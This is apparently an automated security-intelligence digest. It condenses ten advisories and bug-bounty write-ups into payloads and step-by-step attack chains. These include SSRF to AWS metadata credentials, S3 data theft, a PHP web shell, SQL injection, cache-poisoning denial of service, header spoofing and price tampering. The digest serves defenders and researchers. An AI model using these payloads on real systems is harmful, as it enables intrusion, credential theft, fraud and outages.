ETX Signal-X

Daily Intelligence Digest

Monday, February 9, 2026

10	19
ARTICLES	TECHNIQUES

Article 1

RustFS is a distributed object storage system built in Rust. Prior to version alpha.78, IP-based access control can be bypassed: get_condition_values trusts client-supplied X-Forwarded-For/X-Real-Ip without verifying a trusted proxy, so any reachable clie

Source: threatable

Date:

URL: https://github.com/rustfs/rustfs/security/advisories/GHSA-fc6g-2gcp-2qrq

T1 IP-Based Access Control Bypass via Spoofed X-Forwarded-For/X-Real-Ip Headers

💉 Payload

```
GET /?list-type=2 HTTP/1.1
Host: 127.0.0.1:9000
X-Forwarded-For: 10.0.0.5
```

⚔️ Attack Chain

1. Start RustFS with two local volumes and ensure IP-based bucket policy is active (allowing access only from 10.0.0.5/32).
2. Send an unauthenticated S3 ListBucket request to the RustFS endpoint (e.g., http://127.0.0.1:9000) with the header `X-Forwarded-For: 10.0.0.5`.
3. The server trusts the client-supplied header and sets `remote_addr` accordingly, bypassing the IP-allowlist policy.
4. Receive HTTP 200 (success) instead of HTTP 403 (denied), confirming the bypass.

🔍 Discovery

Automated analysis of RustFS source code revealed that `get_condition_values` trusts client-supplied X-Forwarded-For/X-Real-Ip headers without validating trusted proxies. Manual triage confirmed header spoofing allowed bypass of IP restrictions.

🔓 Bypass

No proxy validation or trust boundary is enforced; any reachable client can supply arbitrary IPs in X-Forwarded-For/X-Real-Ip headers, which are used directly for authorization checks.

🔗 Chain With

Can be chained with other vulnerabilities that rely on IP-based restrictions (e.g., privilege escalation, lateral movement, or targeting S3 operations protected by SourceIp conditions). Exploitable in any environment where RustFS is exposed and IP-based policies are used for access control.

Article 2

$100 Bounty: How a Spoofed Email Could Change Any Username on HackerOne

Source: securitycipher

Date: 08-May-2025

URL: https://infosecwriteups.com/100-bounty-how-a-spoofed-email-could-change-any-username-on-hackerone-8efd98ab44f5

T1 Username Hijack via Spoofed Email to Support

💉 Payload

```
From: victim@email.com
To: support@hackerone.com
Subject: Username Change Request

Hello, I would like to change my username to [attacker-chosen-username].
```

⚔️ Attack Chain

1. Identify the target's email address associated with their HackerOne account.
2. Craft an email spoofed to appear as coming from the target's email address.
3. Send the spoofed email to support@hackerone.com requesting a username change to an attacker-controlled value.
4. Support team processes the request based on the apparent sender, changes the username, and updates the public profile link.

🔍 Discovery

Researcher noticed that HackerOne's support process relied solely on email sender for authentication of username change requests, without additional verification.

🔓 Bypass

By spoofing the sender email, attacker bypasses account authentication and gains control over username/profile link without access to the account.

🔗 Chain With

Hijacked username/profile link can be used for phishing, reputation manipulation, or chaining with account takeover if further weaknesses exist in email-based authentication.

Article 3

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, use of preg_replace() with the /e modifier in bug update email handling can enable PHP code execution if attacker-controlled content reaches the evaluated re

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-vhw6-hqh9-8r23

T1 PHP Code Execution via preg_replace /e Modifier in Bug Update Emails

💉 Payload

```
');phpinfo();//
```

⚔️ Attack Chain

1. Submit a bug update or comment containing attacker-controlled content designed to break out of the quoting context in the email handling routine.
2. The content is processed by the `mail_bug_updates()` function in `public_html/bugs/include/functions.inc`, which uses `preg_replace()` with the `/e` modifier.
3. The replacement string is evaluated as PHP code, allowing execution of arbitrary PHP code if the payload escapes the quoting context.

🔍 Discovery

Analysis of the codebase revealed use of `preg_replace()` with the `/e` modifier on potentially user-supplied input (bug comments) in email processing. The researcher targeted this area due to the known risks of `/e` modifier and its history of enabling code execution when combined with user input.

🔓 Bypass

The exploit relies on breaking out of the intended quoting context in the replacement string. Payloads such as `');phpinfo();//` can terminate the quoted string and inject PHP code, bypassing any naive quoting or escaping mechanisms.

🔗 Chain With

Successful exploitation results in remote PHP code execution. This can be chained with privilege escalation, lateral movement, or persistence mechanisms, depending on the attacker's access and the environment.

Article 4

How I Took a Website Completely Offline with a Funky Cache Poisoning Vulnerability (CPDOS)

Source: securitycipher

Date: 26-Jun-2025

URL: https://medium.com/@Maverick0o0/how-i-took-a-website-completely-offline-with-a-funky-cache-poisoning-vulnerability-cpdos-220ac75d1cf3

T1 Next.js Header-Based Cache Poisoning (CPDOS)

💉 Payload

```
x-middleware-prefetch: true
```

⚔️ Attack Chain

1. Send a request to the `/login` page using HTTP/1.1 protocol.
2. Add the `x-middleware-prefetch: true` header to the request.
3. Observe that the server responds with a `200 OK` status and an empty JSON object (`{}`) instead of the normal login page.
4. The CDN caches this broken response for the specific cookie combination used in the request.

🔍 Discovery

Researcher explored Next.js-specific headers after classic cache deception attempts failed. Noticed that adding `x-middleware-prefetch` changed the server response to `{}` only over HTTP/1.1, not HTTP/2.

🔓 Bypass

The exploit only works over HTTP/1.1. HTTP/2 requests with the same header do not trigger the vulnerability.

🔗 Chain With

Can be chained with cookie-based cache segmentation to target multiple user groups.

T2 Cookie Combination Cache Segmentation Poisoning

💉 Payload

```
Set-Cookie: SUG=bD79weyeeUG; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=bD79weyeeUG; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=bD79weBeCrs
Set-Cookie: SUG=bD79weyeeUG; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=bD79weyeeUG; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=bD79weBeCrs
Set-Cookie: SUG=cIn9JugaP45; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=cIn9JugaP45; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=bD79weBeCrs
Set-Cookie: SUG=cIn9JugaP45; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=cIn9JugaP45; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=bD79weBeCrs
Set-Cookie: SUG=aT7dbxRwPwT; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=aT7dbxRwPwT; Set-Cookie: CRSUG=aT7dbxRwCrs; Set-Cookie: BISUG=bD79weBeCrs
Set-Cookie: SUG=aT7dbxRwPwT; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=aT7dbxBwCrs
Set-Cookie: SUG=aT7dbxRwPwT; Set-Cookie: CRSUG=bD79weyeCrs; Set-Cookie: BISUG=bD79weBeCrs
```

⚔️ Attack Chain

1. Identify that the CDN caches responses based on cookie values, resulting in 12 possible cache variants.
2. For each unique combination of `SUG`, `CRSUG`, and `BISUG` cookies, send a request to `/login` using HTTP/1.1 and the `x-middleware-prefetch` header.
3. Poison the cache for each combination so that all new users (with any of the 12 possible cookie sets) receive the broken `{}` page.

🔍 Discovery

Used Burp Suite's Sequencer to analyze cookie randomness. Discovered only 12 possible cookie combinations, enabling targeted cache poisoning for all user groups.

🔓 Bypass

Initial attempt failed due to CDN cache segmentation by cookies. Bypassed by enumerating all possible cookie combinations and poisoning each variant.

🔗 Chain With

Can be chained with header-based cache poisoning to achieve full site-wide DoS for all users, regardless of cookie values.

Article 5

Subdomain Takeover of fr1.vpn.zomans.com — $350 Bounty

Source: securitycipher

Date: 25-May-2025

URL: https://osintteam.blog/subdomain-takeover-of-fr1-vpn-zomans-com-350-bounty-638d959e11dc

T1 Subdomain Takeover via Unclaimed AWS S3 Bucket

💉 Payload

```
fr1.vpn.zomans.com CNAME fr1-vpn-zomans-com.s3.amazonaws.com
```

⚔️ Attack Chain

1. Identify subdomains of zomans.com using tools like Sublist3r, Amass, or asset discovery platforms.
2. Detect that fr1.vpn.zomans.com points via CNAME to fr1-vpn-zomans-com.s3.amazonaws.com.
3. Verify that the S3 bucket fr1-vpn-zomans-com does not exist or is unclaimed.
4. Register the S3 bucket with the exact name fr1-vpn-zomans-com.
5. Upload custom content to the bucket (e.g., HTML file or malicious payload).
6. Access fr1.vpn.zomans.com in browser; observe custom content served, confirming takeover.

🔍 Discovery

Enumeration of subdomains and DNS records revealed a CNAME pointing to an AWS S3 bucket. Manual check showed the bucket was unclaimed.

🔓 Bypass

No authentication or ownership verification between DNS and S3; attacker can register bucket and serve arbitrary content.

🔗 Chain With

Host phishing pages or malware under trusted domain. Leverage for cookie theft, session hijacking, or credential harvesting. Combine with XSS or CSRF for further exploitation if the domain is whitelisted in internal apps.

Article 6

Untitled

> **Source:**
> **Date:**
> **URL:**

T1 SSRF via Misconfigured Proxy to Access Internal AWS Metadata

💉 Payload

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

⚔️ Attack Chain

1. Identify a web application endpoint that accepts user-supplied URLs and forwards requests via a proxy.
2. Submit a payload targeting the AWS EC2 metadata service (169.254.169.254) through the proxy.
3. Retrieve IAM role credentials from the metadata endpoint.

🔍 Discovery

Observed that the proxy allowed requests to internal IPs, including AWS metadata service, by inspecting the proxy configuration and testing with internal IPs.

🔓 Bypass

Proxy did not restrict internal IPs, allowing SSRF to reach AWS metadata service.

🔗 Chain With

Leaked IAM credentials can be used for further AWS resource access, privilege escalation, or lateral movement.

T2 Using Leaked IAM Credentials to Enumerate and Access S3 Buckets

💉 Payload

```
aws s3 ls
aws s3 cp s3://<bucket-name>/<key> ./
```

⚔️ Attack Chain

1. Use IAM credentials obtained via SSRF to configure AWS CLI locally.
2. Enumerate accessible S3 buckets using `aws s3 ls`.
3. Download sensitive files from S3 buckets using `aws s3 cp`.

🔍 Discovery

After retrieving IAM credentials, attempted AWS CLI operations to enumerate and download S3 bucket contents.

🔓 Bypass

IAM role had overly permissive S3 permissions, allowing access to sensitive files.

🔗 Chain With

Downloaded files may contain secrets, keys, or code for further exploitation.

T3 Remote Code Execution via SSH Key Found in S3

💉 Payload

```
ssh -i <downloaded-private-key> ec2-user@<target-ec2-ip>
```

⚔️ Attack Chain

1. Locate SSH private key in downloaded S3 files.
2. Identify the corresponding EC2 instance IP address.
3. Use the SSH key to authenticate and gain shell access to the EC2 instance.

🔍 Discovery

Downloaded files from S3 contained an SSH private key and EC2 instance details.

🔓 Bypass

No restrictions on SSH key usage; EC2 instance allowed authentication with the leaked key.

🔗 Chain With

Shell access enables privilege escalation, persistence, and lateral movement within the AWS environment.

Article 7

The $2,000 Bug That Changed My Life: How a Tiny URL Parameter Broke Web-Store Pricing !!

Source: securitycipher

Date: 26-Oct-2025

URL: https://infosecwriteups.com/the-2-000-bug-that-changed-my-life-how-a-tiny-url-parameter-broke-web-store-pricing-7275c3d1204b

T1 Price Manipulation via Hidden URL Parameter

💉 Payload

```
https://webstore.com/product/12345?price=0.01
```

⚔️ Attack Chain

1. Identify product page endpoint (e.g., `/product/<product_id>`).
2. Append `?price=<desired_value>` to the product URL.
3. Load the modified URL in browser; observe displayed price changes to the supplied value.
4. Add product to cart and proceed to checkout.
5. Complete purchase at manipulated price.

🔍 Discovery

Manual URL fuzzing on product pages; noticed undocumented `price` parameter changed visible price when altered.

🔓 Bypass

Parameter was not validated server-side; client-side logic trusted the `price` value from the URL, allowing direct manipulation.

🔗 Chain With

Combine with account registration or coupon stacking for mass exploitation; leverage for automated cart manipulation scripts.

T2 Persistent Cart Price Override via Session Parameter Injection

💉 Payload

```
POST /cart/update HTTP/1.1
Host: webstore.com
Content-Type: application/x-www-form-urlencoded

product_id=12345&price=0.01
```

⚔️ Attack Chain

1. Intercept cart update request via proxy (e.g., Burp Suite).
2. Add `price=<desired_value>` parameter to POST body.
3. Forward modified request; observe cart item price updates to supplied value.
4. Proceed to checkout and complete purchase at overridden price.

🔍 Discovery

Analyzed cart update traffic; noticed price parameter was accepted and processed without validation when injected into POST requests.

🔓 Bypass

Server failed to cross-check price against product database; trusted client-supplied price parameter.

🔗 Chain With

Automate bulk cart updates for multiple products; combine with session fixation or privilege escalation for broader impact.

T3 Price Parameter Tampering via API Endpoint

💉 Payload

```
POST /api/purchase HTTP/1.1
Host: webstore.com
Content-Type: application/json

{
  "product_id": "12345",
  "price": "0.01"
}
```

⚔️ Attack Chain

1. Identify purchase API endpoint (e.g., `/api/purchase`).
2. Craft JSON payload with manipulated `price` field.
3. Send request via API client or proxy.
4. Observe backend accepts and processes purchase at supplied price.

🔍 Discovery

Inspected API documentation and traffic; found `price` parameter in purchase payload was not validated against product catalog.

🔓 Bypass

API endpoint trusted price field from client input; lacked server-side validation or price lookup.

🔗 Chain With

Chain with API authentication bypass or mass purchase scripts; exploit for inventory depletion or financial fraud.

Article 8

Cómo conseguí mi primera vulnerabilidad válida para Adobe

Source: securitycipher

Date: 12-Mar-2025

URL: https://medium.com/@juanfelipeoz.rar/c%C3%B3mo-consegu%C3%AD-mi-primera-vulnerabilidad-v%C3%A1lida-para-adobe-2d6617ec51e5

T1 Spring Boot Actuator Info Disclosure via /actuator/info Endpoint

💉 Payload

```
https://dev.wopi.acrobat.adobe.com/actuator/info
```

⚔️ Attack Chain

1. Enumerate subdomains for `*.acrobat.adobe.com` using `subfinder`.
2. Filter live subdomains (HTTP 200) with `httpx`.
3. Fuzz endpoints on `https://dev.wopi.acrobat.adobe.com` using `ffuf` with a wordlist.
4. Discover and access `/actuator/info` endpoint.
5. Extract exposed git branch and commit information from the JSON response.

🔍 Discovery

Fuzzing with `ffuf` on a development subdomain, specifically targeting common Java/Spring Boot endpoints based on prior knowledge of Spring Actuator patterns.

🔓 Bypass

Endpoint was exposed on a development subdomain, likely overlooked due to environment separation. No authentication or IP whitelisting present.

🔗 Chain With

Use git branch and commit IDs for targeted Google dorking to locate source code leaks or public repositories. Map commit times to recent deployments for exploit timing. Identify potential CVEs affecting the specific commit/version.

T2 Version and Commit Disclosure via /version Endpoint

💉 Payload

```
https://dev.wopi.acrobat.adobe.com/version
```

⚔️ Attack Chain

1. After discovering `/actuator/info`, fuzz additional endpoints using BurpSuite on the same subdomain.
2. Access `/version` endpoint.
3. Extract service names, exact versions, and commit IDs from the JSON response.

🔍 Discovery

Manual endpoint fuzzing with BurpSuite, informed by prior exposure of actuator endpoints and typical version endpoints in Java-based services.

🔓 Bypass

Endpoint exposed without authentication, likely due to misconfiguration in pre-production or development environment. No access controls enforced.

🔗 Chain With

Use exact service versions and commit IDs to search for known vulnerabilities (CVE matching). Leverage version info for exploit development or targeted attacks against unstable/recent features. Combine with git info from `/actuator/info` for full project mapping and timeline analysis.

Article 9

PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, predictable verification hashes may allow attackers to guess verification tokens and potentially verify election account requests without authorization. This

Source: threatable

Date:

URL: https://github.com/pear/pearweb/security/advisories/GHSA-477r-4cmw-3cgf

T1 Predictable Verification Hash for Election Account Requests

💉 Payload

```
MD5 hash generated from username and microtime() components
```

⚔️ Attack Chain

1. Identify the verification hash generation logic in `include/election/pear-election-accountrequest.php`, specifically the `_makeSalt()` function.
2. Observe that the hash is derived from predictable inputs: username and `microtime()` components.
3. Use knowledge of a target username and estimate the microtime window (e.g., by brute-forcing likely values within a feasible timeframe).
4. Generate MD5 hashes for combinations of username and microtime values.
5. Submit guessed verification hash/token to the election account request endpoint.
6. If the token matches, bypass account verification without authorization.

🔍 Discovery

Analysis of the source code revealed use of MD5 with predictable inputs (username and microtime) for verification hash generation. The researcher targeted this area due to the security-critical nature of account verification flows and the common weakness of predictable PRNG seeds.

🔓 Bypass

The attacker can brute-force or guess the verification token by leveraging the predictable nature of the hash inputs (username and microtime) and the weak MD5 algorithm, bypassing the need for legitimate account verification.

🔗 Chain With

This technique can be chained with: Account takeover attacks (if the verification process is tied to privilege escalation or sensitive account actions) Automated enumeration/brute-force tools to scale attacks across multiple accounts Further exploitation if the election account request endpoint exposes additional sensitive functionality

Article 10

From SQL Injection to Remote Code Execution: A Bug Bounty Hunter’s Unexpected Journey

Source: securitycipher

Date: 14-Feb-2025

URL: https://medium.com/@gouravrathod8788/from-sql-injection-to-remote-code-execution-a-bug-bounty-hunters-unexpected-journey-bc91a3697f24

T1 SQL Injection in Login Page

💉 Payload

```
' OR 1=1 --
```

⚔️ Attack Chain

1. Submit the payload `' OR 1=1 --` in the email field of the login page.
2. Observe SQL error or abnormal login behavior indicating injection point.
3. Confirm exploitability with a UNION-based payload: `' UNION SELECT 1,2,3,4 --`.
4. Use SQLMap to enumerate database structure and extract tables and user data.

🔍 Discovery

Initial manual fuzzing of login fields with classic SQLi payloads, followed by automated enumeration using SQLMap after error response.

🔓 Bypass

Standard SQL comment syntax (`--`) used to terminate query and bypass authentication logic.

🔗 Chain With

Direct access to sensitive tables (e.g., `admin_logs`) enables credential harvesting and privilege escalation.

T2 Admin Credential Harvesting via SQLi Dump

💉 Payload

```
N/A (SQLMap automated dump of table 'admin_logs')
```

⚔️ Attack Chain

1. Use SQL injection to enumerate database tables.
2. Identify and dump contents of `admin_logs` table.
3. Extract plaintext admin credentials from log entries.
4. Use harvested credentials to log in as admin via the legitimate admin login interface.

🔍 Discovery

Automated SQLMap enumeration revealed a non-standard table (`admin_logs`) containing actionable credentials.

🔓 Bypass

Exploiting poor credential storage (plaintext) and lack of secondary authentication for admin accounts.

🔗 Chain With

Enables access to admin panel features, including file upload functionality for further exploitation.

T3 File Upload Content-Type Bypass for Web Shell

💉 Payload

```
<?php system($_GET['cmd']); ?>
```

⚔️ Attack Chain

1. Access admin panel file upload feature (intended for profile images).
2. Attempt to upload PHP web shell disguised as an image file.
3. Receive "Invalid file type" error on initial upload.
4. Intercept upload request with Burp Suite and modify `Content-Type` header to `image/jpeg`.
5. Successfully upload PHP shell to server.

🔍 Discovery

Manual testing of file upload with non-image content, followed by interception and manipulation of HTTP headers to bypass MIME type checks.

🔓 Bypass

Changing `Content-Type` to `image/jpeg` allowed server-side validation to be bypassed, enabling upload of executable PHP code.

🔗 Chain With

Shell access enables command execution, privilege escalation, and lateral movement within the environment.

T4 Remote Code Execution via Uploaded Web Shell

💉 Payload

```
http://target.com/uploads/shell.php?cmd=whoami
```

⚔️ Attack Chain

1. After successful upload of PHP web shell, navigate to the shell's URL.
2. Pass arbitrary commands via the `cmd` GET parameter (e.g., `whoami`).
3. Server executes command and returns output (e.g., "www-data").

🔍 Discovery

Direct navigation to uploaded shell file and command injection via GET parameter.

🔓 Bypass

No restrictions on file execution or GET parameter processing allowed full RCE.

🔗 Chain With

Full system compromise, persistence, data exfiltration, and pivoting to internal networks.
